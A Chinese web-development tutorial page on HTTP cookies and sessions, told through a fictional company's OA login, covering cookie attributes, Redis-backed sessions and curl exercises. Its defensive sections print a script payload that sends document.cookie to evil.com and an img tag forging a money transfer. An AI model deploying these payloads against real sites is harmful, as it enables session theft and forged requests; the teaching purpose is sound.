飞翔飞翔
主页
  • 计算机基础

    • TCP/IP协议
    • Linux命令
    • HTTP协议
  • 数据库

    • SQL教程
  • 编程语言

    • C语言
    • Python2
    • Python3
  • 数据格式

    • JSON教程
  • 工具

    • Markdown指南
  • Git

    • GitFlow
  • Quartz

    • Quartz教程
  • Java

    • Java设计模式
  • 缓存

    • Redis教程
联系
阿里云
主页
  • 计算机基础

    • TCP/IP协议
    • Linux命令
    • HTTP协议
  • 数据库

    • SQL教程
  • 编程语言

    • C语言
    • Python2
    • Python3
  • 数据格式

    • JSON教程
  • 工具

    • Markdown指南
  • Git

    • GitFlow
  • Quartz

    • Quartz教程
  • Java

    • Java设计模式
  • 缓存

    • Redis教程
联系
阿里云
  • 学习路径
  • HTTP 基础

    • 认识HTTP协议与应用层定位
    • HTTP消息格式与报文结构
    • HTTP请求方法与幂等性
    • HTTP状态码详解
  • 连接与缓存

    • HTTP持久连接与版本演进
    • HTTP缓存机制
  • 状态与协商

    • Cookie与Session状态管理
    • HTTP重定向与内容协商
    • HTTP条件请求与范围请求
  • 安全与加密

    • HTTP认证机制
    • HTTPS与TLS握手
  • 协议演进

    • HTTP2核心特性
    • HTTP3与QUIC
  • 架构与实战

    • HTTP代理服务器与Web缓存
    • HTTP常见攻击与防御
    • HTTP实践工具与抓包分析

Cookie与Session状态管理

概念引入

HTTP协议天生"健忘"——每次请求都是独立的,服务器不记得你是谁。就像你去飞翔公司食堂打饭,每次都要重新报工号、姓名、部门,极其繁琐。

Cookie和Session就是解决HTTP"健忘症"的两把钥匙:Cookie像你的工牌(浏览器保存,每次出示),Session像食堂后台的档案柜(服务器保存,工牌上只写档案编号)。今天,我们就以飞翔公司员工登录OA系统的故事,彻底搞懂这对黄金搭档。


核心内容

HTTP的无状态问题

无状态(Stateless):协议本身不保存任何关于客户端的历史请求信息,每次请求都是全新的。

航仔(后端)开发OA系统时遇到难题:用户登录后,下一次点击"我的工资",服务器怎么知道他已经登录过了?

解决方案:给每个用户发一个"身份令牌",后续请求都带上它。


Cookie工作原理

Cookie就像飞翔公司给员工发的电子工牌:

Cookie传输流程:

  1. 服务器设置:登录成功后,服务器通过Set-Cookie响应头把Cookie发给浏览器
  2. 浏览器存储:浏览器把Cookie保存在本地(内存或磁盘)
  3. 自动携带:之后访问同一域名下的页面,浏览器自动在请求头中带上Cookie
// 服务器设置Cookie
HTTP/1.1 200 OK
Set-Cookie: sessionid=abc123; Max-Age=3600; Path=/oa; HttpOnly; Secure; SameSite=Lax

// 浏览器后续请求自动携带
GET /oa/salary HTTP/1.1
Host: oa.feixiang.net
Cookie: sessionid=abc123; theme=dark

Cookie关键属性详解

属性作用飞翔OA示例
Max-Age=3600Cookie有效期,单位秒登录态保持1小时
Expires=Wed, 21 Jun 2024 07:28:00 GMT过期时间点(旧方式)与Max-Age同时存在时Max-Age优先
Path=/oa哪些路径下发送Cookie仅在OA系统路径下携带
Domain=.feixiang.net哪些子域名共享Cookieoa.feixiang.net和hr.feixiang.net共享
HttpOnly禁止JavaScript读取防止XSS攻击窃取Cookie
Secure仅HTTPS传输禁止明文HTTP携带
SameSite=Lax控制跨站请求是否发送防御CSRF攻击
// 飞翔OA系统的安全Cookie配置
Set-Cookie: sessionid=abc123; 
  Max-Age=7200; 
  Path=/oa; 
  Domain=oa.feixiang.net; 
  HttpOnly; 
  Secure; 
  SameSite=Lax

Session机制:服务器端的"档案柜"

Cookie直接存敏感数据(如用户ID、权限)有风险。Session把数据存在服务器,Cookie只存一个"档案编号"(Session ID)。

Session工作流程:

  1. 航仔登录成功,服务器创建Session,生成唯一ID(如abc123)
  2. 服务器将Session数据存在内存/Redis/数据库中
  3. 通过Set-Cookie: sessionid=abc123把ID发给浏览器
  4. 后续请求浏览器带上sessionid,服务器查档案柜获取完整用户信息
// 伪代码:飞翔OA的Session处理
// 登录时
String sessionId = generateSessionId();
Session session = new Session();
session.setAttribute("user", "航仔");
session.setAttribute("dept", "技术部");
session.setAttribute("role", "后端开发");
redis.set("session:" + sessionId, session, 7200); // 存2小时
response.setHeader("Set-Cookie", "sessionid=" + sessionId + "; HttpOnly; Secure");

// 后续请求时
String sessionId = request.getCookie("sessionid");
Session session = redis.get("session:" + sessionId);
User user = session.getAttribute("user"); // 航仔

Cookie vs Session 对比

对比项CookieSession
存储位置浏览器端服务器端
存储容量约4KB(单个),每个域名约50个理论上无限制(受服务器内存/存储限制)
安全性较低(可被窃取、篡改)较高(数据不离开服务器)
性能影响每次请求自动携带,增加流量服务器需维护存储,增加计算压力
跨域支持受Domain/Path限制需配合Cookie的Session ID传递
典型用途记住偏好设置、追踪用户登录态、购物车、用户权限

图妹(产品经理)总结:"Cookie是用户口袋里的名片,Session是公司前台的访客登记本。名片丢了可以伪造,但登记本在公司手里更安全。"


XSS攻击与HttpOnly防御

XSS(Cross-Site Scripting,跨站脚本攻击):攻击者在网页中注入恶意JavaScript代码,窃取用户Cookie或执行非法操作。

假设飞翔OA系统有个评论区,攻击者发布:

<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

如果Cookie没有HttpOnly属性,JavaScript可以读取到sessionid,攻击者就能冒充航仔登录!

防御:设置HttpOnly后,document.cookie无法读取该Cookie,就像工牌加了防复印涂层。

// 安全的Cookie:HttpOnly阻止JS读取
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Lax

CSRF攻击与SameSite防御

CSRF(Cross-Site Request Forgery,跨站请求伪造):攻击者诱导已登录用户访问恶意网站,该网站自动向目标服务器发起请求(利用浏览器自动携带Cookie的特性)。

场景:航仔已登录飞翔OA(Cookie有效)。攻击者发给他一个链接:

<!-- 恶意网站上的图片标签 -->
<img src="https://oa.feixiang.net/transfer?to=attacker&amount=10000" />

浏览器会自动带上航仔的Cookie发起转账请求!

SameSite属性防御:

  • SameSite=Strict:完全禁止第三方网站携带Cookie(最严格)
  • SameSite=Lax:允许部分安全请求(如GET)携带,禁止POST等修改性操作(推荐)
  • SameSite=None:允许跨站携带,但必须配合Secure(HTTPS)
// 飞翔OA推荐配置
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Lax

飞翔公司OA登录完整流程


本篇小结

  • HTTP是无状态协议,每次请求独立,需要额外机制维持状态
  • Cookie存储在浏览器端,由服务器通过Set-Cookie设置,后续请求自动通过Cookie头携带
  • Session存储在服务器端,Cookie只传递Session ID,安全性更高
  • HttpOnly阻止JavaScript读取Cookie,防御XSS攻击
  • SameSite=Lax/Strict控制跨站请求是否携带Cookie,防御CSRF攻击
  • Secure确保Cookie只在HTTPS下传输,防止中间人窃取
  • 飞翔OA采用HttpOnly + Secure + SameSite=Lax的安全Cookie配置,Session数据存储在Redis中

动手实践

温馨提示: 以下实践示例中涉及的域名(如 www.feixiang.net)、公司场景和接口均为虚构数据,仅用于演示协议原理,实际执行时可能不会产生文档中描述的效果。建议将命令中的域名替换为你自己可访问的真实地址进行练习。

实践:用curl观察Cookie交互

# 第一步:登录获取Cookie
curl -c cookies.txt -X POST https://oa.feixiang.net/login \
  -d "username=hangzai" \
  -d "password=feixiang2024"

# 观察 cookies.txt 文件中保存的Cookie

# 第二步:携带Cookie访问受保护页面
curl -b cookies.txt -I https://oa.feixiang.net/salary

实践:查看浏览器中的Cookie

  1. 打开Chrome,访问oa.feixiang.net并登录
  2. F12 → Application/应用 → Cookies
  3. 观察飞翔OA的Cookie:
    • sessionid是否有HttpOnly标记(带✓表示JS无法读取)
    • Secure标记(仅HTTPS)
    • SameSite值

实践:思考题

波比(活动运营)在飞翔官网www.feixiang.net登录后,发现访问hr.feixiang.net时也需要重新登录。请分析原因,并说明如何通过Cookie的Domain属性解决这个问题。

实践:模拟Session过期

# 登录获取Cookie(有效期假设为5分钟)
curl -c cookies.txt -X POST https://oa.feixiang.net/login -d "username=hangzai" -d "password=***"

# 等待超过5分钟后再次请求
curl -b cookies.txt https://oa.feixiang.net/dashboard
# 观察响应:如果Session已过期,通常会重定向到登录页或返回401

查看思考题答案

下一页
HTTP重定向与内容协商